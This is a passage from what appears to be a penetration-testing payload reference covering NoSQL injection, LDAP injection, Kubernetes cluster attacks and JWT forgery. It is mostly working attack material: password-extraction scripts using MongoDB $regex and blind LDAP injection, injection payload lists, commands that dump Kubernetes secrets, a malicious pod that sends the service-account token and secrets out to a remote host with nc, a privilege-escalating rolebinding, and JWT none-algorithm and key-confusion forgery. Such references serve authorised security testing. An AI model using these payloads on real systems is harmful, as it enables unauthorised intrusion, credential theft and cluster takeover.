urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c
```

### POST with urlencoded body

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c
```

### GET

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print("Found one more char : %s" % (password+c))
        password += c
```

## MongoDB Payloads

```bash
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```

## References

* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
* [Testing for NoSQL injection - OWASP/WSTG](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)
* [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists)
* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb)


# LDAP injection

> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

## Summary

* [Exploitation](broken://pages/3yLyiU0QeAMwXTqcwwYb)
* [Payloads](broken://pages/3yLyiU0QeAMwXTqcwwYb)
* [Blind Exploitation](broken://pages/3yLyiU0QeAMwXTqcwwYb)
* [Defaults attributes](broken://pages/3yLyiU0QeAMwXTqcwwYb)
* [Exploiting userPassword attribute](broken://pages/3yLyiU0QeAMwXTqcwwYb)
* [Scripts](broken://pages/3yLyiU0QeAMwXTqcwwYb)
  * [Discover valid LDAP fields](broken://pages/3yLyiU0QeAMwXTqcwwYb)
  * [Special blind LDAP injection](broken://pages/3yLyiU0QeAMwXTqcwwYb)

## Exploitation

Example 1.

```sql
user  = *)(uid=*))(|(uid=*
pass  = password
query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
```

Example 2

```sql
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
```

## Payloads

```
*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```

## Blind Exploitation

We can extract using a bypass login

```sql
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
```

## Defaults attributes

Can be used in an injection like `*)(ATTRIBUTE_HERE=*`

```bash
userPassword
surname
name
cn
sn
objectClass
mail
givenName
commonName
```

## Exploiting userPassword attribute

`userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).

> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

```bash
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
```

## Scripts

### Discover valid LDAP fields

```python
#!/usr/bin/python3

import requests
import string

fields = []

url = 'https://URL.com/'

f = open('dic', 'r') #Open the wordlists of common attributes
wordl = f.read().split('\n')
f.close()

for i in wordl:
    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\x00)(password=bla))
    if 'TRUE CONDITION' in r.text:
        fields.append(str(i))

print(fields)
```

Ref. \[5]\[5]

### Special blind LDAP injection (without "\*")

```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web?action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break
```

Ref. \[5]\[5]

```ruby
#!/usr/bin/env ruby

require 'net/http'
alphabet = [*'a'..'z', *'A'..'Z', *'0'..'9'] + '_@{}-/()!"$%=^[]:;'.split('')

flag = ''

(0..50).each do |i|
  puts("[i] Looking for number #{i}")
  alphabet.each do |char|
    r = Net::HTTP.get(URI("http://ctf.web?action=dir&search=admin*)(password=#{flag}#{char}"))
    if /TRUE CONDITION/.match?(r)
      flag += char
      puts("[+] Flag: #{flag}")
      break
    end
  end
end
```

By [noraj](https://github.com/noraj)

## References

* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
* SSH key authentication via LDAP
  * [How to setup LDAP server for openssh-lpk](https://openssh-ldap-pubkey.readthedocs.io/en/latest/openldap.html)
  * [openssh-lpk.ldif](https://github.com/Lullabot/openldap-schema/blob/master/openssh-lpk.ldif)
  * [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
  * [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
  * \[FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
  * [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)


# Kubernetes

> Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.

## Summary

* [Tools](broken://pages/BQYPWLBf8wzlNENqlutr)
* [Container Environment](broken://pages/BQYPWLBf8wzlNENqlutr)
* [Information Gathering](broken://pages/BQYPWLBf8wzlNENqlutr)
* [RBAC Configuration](broken://pages/BQYPWLBf8wzlNENqlutr)
  * [Listing Secrets](broken://pages/BQYPWLBf8wzlNENqlutr)
  * [Access Any Resource or Verb](broken://pages/BQYPWLBf8wzlNENqlutr)
  * [Pod Creation](broken://pages/BQYPWLBf8wzlNENqlutr)
  * [Privilege to Use Pods/Exec](broken://pages/BQYPWLBf8wzlNENqlutr)
  * [Privilege to Get/Patch Rolebindings](broken://pages/BQYPWLBf8wzlNENqlutr)
  * [Impersonating a Privileged Account](broken://pages/BQYPWLBf8wzlNENqlutr)
* [Privileged Service Account Token](broken://pages/BQYPWLBf8wzlNENqlutr)
* [Interesting endpoints to reach](broken://pages/BQYPWLBf8wzlNENqlutr)
* [API addresses that you should know](broken://pages/BQYPWLBf8wzlNENqlutr)
* [References](broken://pages/BQYPWLBf8wzlNENqlutr)

## Tools

* [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns
* [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources
* [kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
* [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
* [katacoda](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios
* [kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues

## Container Environment

Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default.

### Service Account

Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume:

```
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly.

### Environment Variables

The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to.

```
KUBERNETES_SERVICE_HOST=192.168.154.228
KUBERNETES_SERVICE_PORT=443
```

Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns:

* A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service.
* A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes.

For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed:

```
REDIS_MASTER_SERVICE_HOST=10.0.0.11
REDIS_MASTER_SERVICE_PORT=6379
REDIS_MASTER_PORT=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379
REDIS_MASTER_PORT_6379_TCP_PROTO=tcp
REDIS_MASTER_PORT_6379_TCP_PORT=6379
REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11
```

### Simulating `kubectl` API Requests

Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` *locally* to determine the correct API request to send from the container.

1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...`
2. The output will include HTTP API endpoint URL, the request body, and an example curl command.
3. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables.
4. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container.
5. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag).

For example, this output was used to create the [Service Account Permissions](broken://pages/BQYPWLBf8wzlNENqlutr) request:

```powershell
# NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted.
$ kubectl -v9 auth can-i --list
I1028 18:58:38.192352   76118 loader.go:359] Config loaded from file /home/example/.kube/config
I1028 18:58:38.193847   76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}
I1028 18:58:38.193912   76118 round_trippers.go:419] curl -k -v -XPOST  -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews'
I1028 18:58:38.295722   76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds
I1028 18:58:38.295760   76118 round_trippers.go:444] Response Headers:
...
```

## Information Gathering

### Service Account Permissions

The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier.\
The following can be used to determine the service account's permissions:

```powershell
# Namespace-level permissions using kubectl
kubectl auth can-i --list

# Cluster-level permissions using kubectl
kubectl auth can-i --list --namespace=kube-system

# Permissions list using curl
NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace")
# For cluster-level, use NAMESPACE="kube-system" instead

MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token")
curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  --cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
  --header "Authorization: Bearer ${TOKEN}" \
  --header "Content-Type: application/json" \
  --data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}'
```

### Secrets, ConfigMaps, and Volumes

Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster.

From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`.

True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`.

### Privileged Containers

Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely).

While there is no official way to check for privileged mode from *within* a container, checking if `/dev/kmsg` exists will usually suffice.

## RBAC Configuration

### Listing Secrets

An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.

```powershell
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```

### Access Any Resource or Verb

```powershell
resources:
- '*'
verbs:
- '*'
```

### Pod Creation

Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. Then create a malicious pod.yaml file.

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true
```

Then `kubectl apply -f malicious-pod.yaml`

### Privilege to Use Pods/Exec

```powershell
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
```

### Privilege to Get/Patch Rolebindings

The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file.

```powershell
{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespcaes": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "sa-comp"
            "namespace": "default"
        }
    ]
}
```

```powershell
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```

### Impersonating a Privileged Account

```powershell
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```

## Privileged Service Account Token

```powershell
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
```

## Interesting endpoints to reach

```powershell
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/

# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/

# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments

# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
```

## API addresses that you should know

*(External network visibility)*

### cAdvisor

```powershell
curl -k https://<IP Address>:4194
```

### Insecure API server

```powershell
curl -k https://<IP Address>:8080
```

### Secure API Server

```powershell
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```

### etcd API

```powershell
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```

### Kubelet API

```powershell
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```

### kubelet (Read only)

```powershell
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```

## References

* [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-1)
* [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2)
* [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://securityboulevard.com/2019/11/kubernetes-pentest-methodology-part-3)
* [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
* [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)


# JSON Web Token

> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

## Summary

* [Tools](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
* [JWT Format](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
  * [Header](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
  * [Payload](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
* [JWT Signature - None algorithm](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
* [JWT Signature - RS256 to HS256](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
* [Breaking JWT's secret](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
  * [JWT Tool](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
  * [JWT cracker](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
  * [Hashcat](broken://pages/LSE1j9GYXb4Zb7JmH4KX)
* [References](broken://pages/LSE1j9GYXb4Zb7JmH4KX)

## Tools

* [jwt\_tool](https://github.com/ticarpi/jwt_tool)
* [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
* [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)

## JWT Format

JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`

Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`

Where we can split it into 3 components separated by a dot.

```powershell
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
```

### Header

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

```json
{
    "typ": "JWT",
    "alg": "HS256"
}
```

| `alg` Param Value | Digital Signature or MAC Algorithm             | Requirements |
| ----------------- | ---------------------------------------------- | ------------ |
| HS256             | HMAC using SHA-256                             | Required     |
| HS384             | HMAC using SHA-384                             | Optional     |
| HS512             | HMAC using SHA-512                             | Optional     |
| RS256             | RSASSA-PKCS1-v1\_5 using SHA-256               | Recommended  |
| RS384             | RSASSA-PKCS1-v1\_5 using SHA-384               | Optional     |
| RS512             | RSASSA-PKCS1-v1\_5 using SHA-512               | Optional     |
| ES256             | ECDSA using P-256 and SHA-256                  | Recommended  |
| ES384             | ECDSA using P-384 and SHA-384                  | Optional     |
| ES512             | ECDSA using P-521 and SHA-512                  | Optional     |
| PS256             | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional     |
| PS384             | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional     |
| PS512             | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional     |
| none              | No digital signature or MAC performed          | Required     |

### Payload

```json
{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}
```

Claims are the predefined keys and their values:

* iss: issuer of the token
* exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
* iat: The time the JWT was issued. Can be used to determine the age of the JWT
* nbf: "not before" is a future time when the token will become active.
* jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
* sub: subject of the token (rarely used)
* aud: audience of the token (also rarely used)

JWT Encoder – Decoder: `http://jsonwebtoken.io`

## JWT Signature - None algorithm

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants:

* none
* None
* NONE
* nOnE

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.

However, this won't work unless you **remove** the signature

Alternatively you can modify an existing JWT (be careful with the expiration time)

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import jwt

jwtToken 	= 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'

decodedToken 	= jwt.decode(jwtToken, verify=False)  					# Need to decode the token before encoding with type 'None'
noneEncoded 	= jwt.encode(decodedToken, key='', algorithm=None)

print(noneEncoded.decode())

"""
Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
"""
```

## JWT Signature - RS256 to HS256

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

> The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

```python
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
```

:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.

Here are the steps to edit an RS256 JWT token into an HS256

1. Convert our public key (key.pem) into HEX with this command.

   ```powershell
   $ cat key.pem | xxd -p | tr -d "\\n"
   2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
   ```
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

   ```powershell
   $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

   (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
   ```
3. Convert signature (Hex to "base64 URL")

   ```powershell
   $ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
   ```
4. Add signature to edited payload

   ```powershell
   [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
   ```

## Breaking JWT's secret

Encode/Decode JWT with the secret.

```python
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'

encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key

# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
```

### JWT tool

First, bruteforce the "secret" key used to compute the signature.

```powershell
git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.2                \______|             @ticarpi

Original JWT:

[+] secret is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S HS256 -p "secret"
```

Then edit the field inside the JSON Web Token.

```powershell
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
```

Finally, finish the token by signing it with the previously retrieved "secret" key.

```powershell
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
